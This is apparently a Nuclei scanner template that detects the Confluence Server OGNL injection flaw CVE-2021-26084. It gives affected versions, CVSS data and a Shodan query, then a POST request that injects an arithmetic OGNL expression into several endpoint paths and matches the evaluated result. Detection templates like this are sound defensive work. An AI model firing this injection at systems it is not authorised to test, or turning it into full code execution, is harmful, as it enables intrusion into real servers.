id: CVE-2021-26084

info:
  name: Confluence Server OGNL injection - RCE
  author: dhiyaneshDk,philippedelteil
  severity: critical
  description: In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary
    code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if 'Allow people to sign up to create their account' is enabled.
    To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from
    version 7.12.0 before 7.12.5.
  reference:
    - https://jira.atlassian.com/browse/CONFSERVER-67940
    - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26084
    - https://github.com/Udyz/CVE-2021-26084
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-26084
    cwe-id: CWE-74
  metadata:
    shodan-query: http.component:"Atlassian Confluence"
  tags: cve,cve2021,rce,confluence,injection,ognl

requests:
  - raw:
      - |
        POST /{{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb

    payloads:
      path:
        - pages/createpage-entervariables.action?SpaceKey=x
        - pages/createpage-entervariables.action
        - confluence/pages/createpage-entervariables.action?SpaceKey=x
        - confluence/pages/createpage-entervariables.action
        - wiki/pages/createpage-entervariables.action?SpaceKey=x
        - wiki/pages/createpage-entervariables.action
        - pages/doenterpagevariables.action
        - pages/createpage.action?spaceKey=myproj
        - pages/templates2/viewpagetemplate.action
        - pages/createpage-entervariables.action
        - template/custom/content-editor
        - templates/editor-preload-container
        - users/user-dark-features

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - 'value="aaaa{140592=null}'